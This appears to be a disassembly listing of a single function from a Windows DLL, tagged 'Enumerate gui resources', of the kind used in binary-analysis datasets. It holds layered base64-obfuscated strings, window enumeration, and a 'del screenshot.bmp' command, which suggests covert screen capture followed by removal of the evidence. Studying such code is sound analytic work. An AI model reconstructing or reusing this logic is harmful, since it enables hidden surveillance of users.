Function at 0x180002350
Capabilities:
Enumerate gui resources

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x138]
sub rsp, 0x220
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x180157b00]
xor rax, rsp
mov qword [rbp + 0x108], rax
xor r15d, r15d
call fcn.18006d130
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x38], xmm1
mov r8d, 0x68c
lea rdx, str.Vm0weGQxSXhiRmRYV0d4VVYwZG9XRll3WkZOVU1WcHpXa2M1VjJKSGVGWlZNbkJUVmpKS1IyTkliRmROYWxaeVZteGtTMU5XUm5OaFJtUlhaV3hhVVZkV1kzaFRNVTVJVm10a2FGSnVRbGhXYlhoV1pVWmtWMVp0ZEZSTlZuQXdWVEowVjFkSFNrZGpSVGxhVmpOU1dGUlVSbUZqYkdSMFpFWlNUbFp1UWpWV1IzaGhWakZhU0ZOcmJGSmlhMHBYV1d0YVMxRXhjRlpYYlhSWFRWWndNRnBGV2xkVWJGcFZWbXR3VjFZemFIWmFSRVpyVTBaT2MySkdXbWhsYlhob1YxWlNSMlF3TUhoalJWWlRZbGhTV0ZSV1duZE5SbXQzVmxSV1YwMUVSbGRaYWs1clZqRlplbUZJV21GU1JWcG9WbXBHZDFKc2NFaGpSazVYVWpOb1dsWXhXbE5TTVd4WVZteGtWbUpIVWxsWmExWjNZekZXZEdWSFJteFdiRlkxV1ROd1IxWnJNVmRqUld4aFZsWmFjbFpxUVhoWFIwWkZWR3hhYUdFeGNGVlhXSEJIVkRKT2MxcElVbWhTVkZaUFdXeGtiMWRHV25SalJVNXBUVlZXTkZaV2FHOVdiVXBIWTBab1YyRXhXbWhaTVZwaFpFVTFWbE5yTldsU2JrSktWMnhXVjFReFduUlRiR1JZWVd0S1dWbFVSa3RYUmxsM1YyMUdUMkpGV2xwWlZWcGhZa2RGZUdORk1WZGhhMHBvVmtSS1UxWXhXblZVYldoVFlsZG9WVlpHWTNoaU1WVjRWMjVTVGxaR1NtRldha1pIVGtaYVdFNVZPVmhTTUhCNVZHeGFjMWR0U2xsVVdHaFhZVEZ3VkZacVJtdGtSa3B6Vld4a2FXRXdjRmxXTVZwWFlqRlJlRmR1U2s1V2JWSnhWVzB4YjFkR1VsaE9WVGxQVW0xU1dGWXlkREJoYXpGeVRsVmFWMUl6YUdoV1IzaExaRlpHZEU5V1pGZFNWWEJ2VmpGYWExUXhXWGhqUld4V1lrVTFjRll3Wkc5a2JGcEhXWHBHYUdKV1JqUldNalZQVjBkS1JrNVdVbFZXYkZZMFZHdGFZVkl5UmtsVWJHUlRZbFpLU2xac1pEUldNV1IwVWxob1YxZEhhRmhaYTFwM1dWWndSVkp0ZEdwaVZrcEhWREZhVDJGV1RrWlRhMnhYWWxSQ05GUlZaRVpsUmxaWllVWm9hVkpzY0ZsWFZsSkxUa1pzVjJKR1ZsTmlTRUp5VkZaYWQwMUdjRlphUkVKWFVtdHdNVlZXVWt0V2F6RjFZVVJPV2xaWFVrZGFSRXBQVWxaa2MyRkdhRlJTVlhCS1ZqSjBVMUZyTVZoVVdHeFZZVEZ3YjFWcVNqUldSbXhWVkd0T2EwMVdjRmxaTUZVMVlVZEtWMWRzYUZkTmFsWklWbFJLUzFKck5WaFBWbFpYVFRKb1RWZHNXbUZWTWsxNVVtdGFhMUpzV2s5V2JUVkRVMVprVlZGdFJsWk5WbkJZVmpKMFlXRlhWbkpUYldoV1lURmFhRlJVUm1Ga1IxWkpXa1pTVjJKRmIzZFhWbFpyWXpGVmVGZHVWbEppUmxwWVdXdGFZV0ZHV2xoTlZrcHNVbXRhZWxVeWVFZFdNVXBHVWxSVlBRPT0
lea rcx, [rbp + 0x28]
call fcn.180001460
nop
mov r8d, 9
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0xe8]
call fcn.18001e570
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x18000240a
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002405
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002f62
call fcn.1800d1690
movdqa xmm6, xmmword [0x1801131d0]
movdqu xmmword [rbp + 0x38], xmm6
mov byte [rbp + 0x28], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r8d, 0x268
lea rdx, str.Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVUm5kVlJscHpXa1pPV0Zac2JETlhhMUpUVmpGS2MySkVUbGhoTWsweFZtcEdZV015U2tWVWJHaG9UVlZ3VlZadGNFdFRNVWw1VTJ0V1ZXSkhhRzlVVjNOM1pVWmtWMXBFVWxSTmF6RTBWMnRvUjFWdFNrZFhiR2hhWWtaV00xcFZXbUZrUjA1R1UyMTRVMkpXU2twV2JURXdWakZXZEZOc1dsaGlSa3BZV1d4b2IyVnNVbFZTYlhSWFRWZDBObGxWV2xOVWJGcFlaSHBHVjJFeVVYZFdha1pXWlZaT2NtSkdTbWhsYlhoWVYxZDRiMkl3TUhoWGJHUllZbGhTV0ZSV1pGTk5SbkJHVjJ4T1ZXSkdjRmxhU0hCRFZqSkZlVlJZYUZabGEzQklWV3BHVDJSV1VuUmpSbEpUVmxoQ1dWWXhaRFJpTVZWM1RVaG9WbUpzU25OVmFrSmhZMVpTVjFwR1RrNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ
lea rcx, [rsp + 0x20]
call fcn.180001460
nop
mov r8d, reloc.WS2_32.dll_listen
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc8]
call fcn.18001e570
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x180002499
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002494
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002f68
call fcn.1800d1690
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
movdqu xmmword [rbp + 0x18], xmm6
mov byte [rbp + 8], 0
lea rdx, [rbp + 8]
lea rcx, [0x1800012f0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x1800024fc
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800024f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002f6e
call fcn.1800d1690
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x28]
call fcn.1800020c0
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x180002545
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002540
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002f74
call fcn.1800d1690
movdqu xmmword [rbp + 0x18], xmm6
mov byte [rbp + 8], 0
lea rcx, [rbp + 0x88]
call fcn.180001f30
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x320
lea rdx, str.Vm0wd2QyUXlVWGxXYTJoV1YwZG9WVll3WkRSV1ZsbDNXa1JTVjAxV2JETlhhMk0xVmpKS1IySkVUbGhoTWsweFZtcEJlRll5U2tWVWJHaG9UVlZ3VlZacVFtRlRNbEpJVm10c2FWSnRhRzlVVm1oRFZWWmtWMXBFVWxwV01ERTBWMnRvUjFWdFNrZFhiR2hhWWtaV00xcFZXbUZqVmtaMFVteFNUbUpGY0VwV2JURXdWakZXZEZOc1dsaGlSMmhZV1ZkMFlWUkdWWGhYYlhSWFRWaENSbFpYZUhkV01ERkZVbFJDVjJFeVRYaFdSRXBIVmpGT2RWUnNhR2xTTW1ob1YxZDBZVll3TUhoalJscFlZbFZhY1ZsclpEQk9iR3hXVjJ4T1ZXSkdjRlpXYlhoelZqRmFObEZZYUZabGExcDZWbXBHVDJSV1ZuTlhiV3hUWVROQ2IxWXhXbE5TTVd4V1RVaG9WMWRIYUZsWmJHaFRWMFpTVjFkdVpFNVNiRm93V2xWak5XRkdXbk5qU0d4WFRWWktTRlpxU2tabFZsWlpXa1p3VjFKWVFrbFhXSEJIVkRKU1YxVnVVbXBTYXpWd1ZtcEtiMkl4V1hoWGJFNVRUVmQ0V0ZscldtdGhiRXAwWVVoT1ZtRnJTbWhXTUZwelkyeHdSMVJ0ZUZkaVIzY3hWMnhXVjFReFdYZE5XRXBYWVdzMVlWUlZXbmRXUmxweFVtMUdWMDFyTlVoV1J6RkhWVEZLVjJORlZsZGlSMUV3VlZSR1lWWnJNVlpXYXpWVFVrVkZOUT09
lea rcx, [rsp + 0x40]
call fcn.180001460
nop
mov r8d, reloc.WS2_32.dll_listen
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xa8]
call fcn.18001e570
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1800025d9
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800025d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002f7a
call fcn.1800d1690
movdqu xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x40], 0
test rdi, rdi
je 0x180002e07
lea rcx, [rbp + 0x28]
mov rbx, qword [rbp + 0x40]
cmp rbx, 0xf
cmova rcx, qword [rbp + 0x28]
mov r8, qword [rbp + 0x38]
test r8, r8
jne 0x18000261b
lea rdx, [0x180111c08]
call fcn.18010d050
test eax, eax
je 0x180002e0b
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
mov r8d, 0x50
lea rdx, str.VVRJNWRXUkhWblZrUXpGVlpWaENiRTlwUW5Sa1YzZ3dZVmhDYUdOdVVYWmFiVGw1WWxNeGExbFlVbWc9
lea rcx, [rbp - 0x78]
call fcn.180001460
nop
mov r8d, 3
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x58]
call fcn.18001e570
cmp qword [rax + 0x18], 0xf
jbe 0x18000265e
mov rax, qword [rax]
mov rdx, rax
xor ecx, ecx
call fcn.18006cfe0
mov r14, rax
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x1800026a6
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800026a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002f80
call fcn.1800d1690
movdqu xmmword [rbp - 0x48], xmm6
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x1800026ea
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800026e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002f86
call fcn.1800d1690
movdqu xmmword [rbp - 0x68], xmm6
mov byte [rbp - 0x78], 0
lea r8, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova r8, qword [rbp + 0xe8]
mov edx, 0x2712
mov rcx, rdi
call fcn.1800700d0
mov rcx, rdi
call fcn.18006bde0
mov rsi, rax
mov rcx, rax
call fcn.18006b8b0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r8d, 0x1cc
lea rdx, str.Vm0wd2QyUXlWa2hWV0doVVYwZG9XRll3Wkc5V1JsbDNXa1JTVjFKc2JETlhhMk0xVmpGYWMySkVUbGhoTVhCUVZtMTRTMk15VGtWUmJGWlhZbFV3ZUZadGNFZFpWMUpJVm10a1dHSkdjRTlaVjNSR1pVWmFkRTFVVWxwV01ERTFWa2QwYzJGR1NuTmpSVGxhVmpOU1IxcFZXbXRXTVZwMFVteFNUbUY2UlRCV01uUnZVakZXZEZOcmJGSmhlbXhYV1ZkMGQyUnNXbGRYYlhSWVVqRktTVlZ0ZUZOVWJVcEdZMFZ3VjJKSFVqTlhWbHBoVTBaT2NscEhjRk5XUjNoWlYxZDRiMVV3TUhoWFdHaFlZbGhTV0ZSV1dtRmxWbVJ5VjIxMFZXSkdjREZWVjNodlZqRktjMk5HYUZkaGEzQklWVEJhWVdSV1NuTlRiR1JUVFRBd01RPT0
lea rcx, [rsp + 0x20]
call fcn.180001460
nop
mov r8d, recvfrom
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.18001e570
cmp qword [rax + 0x18], 0xf
jbe 0x180002775
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.18006be80
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1800027bd
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800027b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002f8c
call fcn.1800d1690
movdqu xmmword [rsp + 0x70], xmm6
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x180002805
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002800
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002f92
call fcn.1800d1690
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8d, 0x1a0
lea rdx, str.VjJ4b2MxTXlTa2hUYkdoVVlsaG9hRlV3VlhoalJsRjVZa1ZPV21KV1dURlZNbkJEWVVaa1IxTnVjRmhpUlRWTFZHMTBjMUpHVG5KVmJXaFRUVlp3ZGxkclZrOVJNVVowVTJ0b1YySnRlSEpWVkVKelpXeE9XRTFWT1d0aVZYQkpWREZvYzFOdFJuUlBWelZWVm14S1lWUlVRWGhXVmtwVlUyeENVMUpWV2paVk1XTjRXVmRPUjJOR2FHeFNNMUp4V2xaV2NrMXNUbFpYYWtKUFRVZDRNRlJzWkc5aFZsbDRWbTVDVlUxdGVFTlpWbHBoVjFaU2RHVkhjR2xXUmxwMlYxZDRhMVp0UmxabFJWSlVZV3R3WVZacVRtNWxSbVJ6Vkd0d1QyRXllRVZWTVZGM1VGRTlQUT09
lea rcx, [rsp + 0x60]
call fcn.180001460
nop
mov r8d, 5
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xc8]
call fcn.18001e570
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x180002883
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000287e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002f98
call fcn.1800d1690
movdqu xmmword [rsp + 0x70], xmm6
mov byte [rsp + 0x60], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x12c
lea rdx, str.VmxSR2EyTXdNSGxTYkdoVFlrZG9VRll3VlRGaU1WcDFZMFprYWsxVk5WbFpNR2hoV1ZVeFdWRnFRbFppVkZaUVdWZHplR014WkZWV2JGWlRWbFJXUlZaSGNFTmpNbEpHVGxab2FGSXllRmhVVmxwaFpERmFSVk51VGxKaVZWcFlWbTEwYzFZeVNsaGxTRUpXWVd0dk1Ga3hXazlXYkZwMVZHeGFWMVl6YUROWGExSkxZekpGZVZOc1dsaGlia0pvVlcweFUxWXhiRmRXVkZacVVtdGFXVmxZYjNkUVVUMDk
lea rcx, [rsp + 0x40]
call fcn.180001460
nop
mov r8d, 6
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 8]
call fcn.18001e570
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180002909
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002904
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002f9e
call fcn.1800d1690
movdqu xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x40], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r8d, 0x16c
lea rdx, str.VmxSR2EyTXdNSGxTYkdoVFlrZG9VRll3VlRGaU1WcDFZMFprYWsxVk5WbFpNR2hoV1ZVeFdWRnFRbFppVkZaUVdWZHplR014WkZWV2JHaFRZWHBTTmxkV1dtRmtNbEpHVDFac1dHSllVbFJVVmxwMlRWWlZlRnBJWkd0aVJ6azFWbTF3VjFaSFJuSlRiV2hYVFVkU2RWcEVSazlYUjA1SlYyMUdUbEl6YURWV1JscHJZakZzVjFOWWFGZGlWRlpaVm01d1YyVldaSEZTYkVwc1VteEtNRlF4V25kV01sWnpWMnBHVjAxV2NIRmFSRXBIVjBaa2MySkZOVmROVlhBd1ZteGFVbVF3T1ZKUVZEQTk
lea rcx, [rsp + 0x20]
call fcn.180001460
nop
mov r8d, 6
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x68]
call fcn.18001e570
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x18000298f
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000298a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002fa4
call fcn.1800d1690
movdqu xmmword [rsp + 0x30], xmm6
mov byte [rsp + 0x20], 0
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0xc8]
lea rcx, [rbp - 0x38]
call fcn.180001300
nop
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rdx, qword [rbp + 8]
mov r8, qword [rbp + 0x18]
mov rcx, rax
call fcn.180001d40
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0xf
cmova rdx, qword [rbp + 0x88]
mov r8, qword [rbp + 0x98]
lea rcx, [rsp + 0x40]
call fcn.180001d40
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rdx, qword [rbp + 0x68]
mov r8, qword [rbp + 0x78]
lea rcx, [rsp + 0x60]
call fcn.180001d40
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x180002adc
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002ad7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002faa
call fcn.1800d1690
movdqu xmmword [rsp + 0x70], xmm6
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180002b24
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002b1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002fb0
call fcn.1800d1690
movdqu xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x180002b6a
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002b65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002fb6
call fcn.1800d1690
movdqu xmmword [rbp - 0x28], xmm6
mov byte [rbp - 0x38], 0
lea rcx, [rbp + 0xa8]
call fcn.180001a50
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
mov r8, 0xffffffffffffffff
mov rcx, rbx
call fcn.18006b970
mov rcx, rsi
call fcn.18006b8b0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r8d, 0x100
lea rdx, str.Vm0wd2QyUXlVWGxXYTJoV1YwZG9WbGx0ZUV0V01WbDNXa1JTV0ZKdGVGWlZNakExVmpKS1IySkVUbGhoTVVwVVZtcEtTMUl5U2tWVWJHaG9UV3N3ZUZkV1pEUlpWMDE0V2toR1VtSlZXbFJXYWtwdlpWWmFkRTFJYUZSTlZXdzFWa2QwYzJGV1NuUlZiR2hWVmtWYVRGWkdXbUZqTVZwMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001
lea rcx, [rsp + 0x20]
call fcn.180001460
nop
mov r8d, recvfrom
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x18]
call fcn.18001e570
cmp qword [rax + 0x18], 0xf
jbe 0x180002bee
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.18006be80
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x180002c34
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002c2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002fbc
call fcn.1800d1690
movdqu xmmword [rbp - 8], xmm6
mov byte [rbp - 0x18], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x180002c7a
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002c75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002fc2
call fcn.1800d1690
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
cmova rdx, qword [rbp + 0xa8]
mov rcx, rbx
call fcn.18006bab0
mov r8, rsi
mov edx, 0x281d
mov rcx, rdi
call fcn.1800700d0
mov r8, r14
mov edx, 0x2727
mov rcx, rdi
call fcn.1800700d0
mov rcx, rdi
call fcn.18006d1a0
mov rcx, rsi
call fcn.18006bce0
mov rcx, rdi
call fcn.18006d100
mov rcx, r14
call fcn.18006d0a0
lea rcx, str.del_screenshot.bmp
call fcn.1800dbb6c
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x180002d21
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002d1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002fc8
call fcn.1800d1690
movdqu xmmword [rbp + 0x58], xmm6
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x180002d68
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002d63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002fce
call fcn.1800d1690
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x180002db6
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002db1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002fd4
call fcn.1800d1690
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x180002e07
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002e02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002fda
call fcn.1800d1690
mov rbx, qword [rbp + 0x40]
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x180002e4c
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002e47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002fe0
call fcn.1800d1690
movdqu xmmword [rbp + 0xb8], xmm6
mov byte [rbp + 0xa8], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x180002e9c
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002e97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002fe6
call fcn.1800d1690
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x88], 0
cmp rbx, 0xf
jbe 0x180002eee
lea rdx, [rbx + 1]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002ee8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002fec
call fcn.1800d1690
nop
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x180002f2b
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002f26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002f5c
call fcn.1800d1690
mov rcx, qword [rbp + 0x108]
xor rcx, rsp
call fcn.1800d17b0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
int3
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
nop
call fcn.1800dbaf4
int3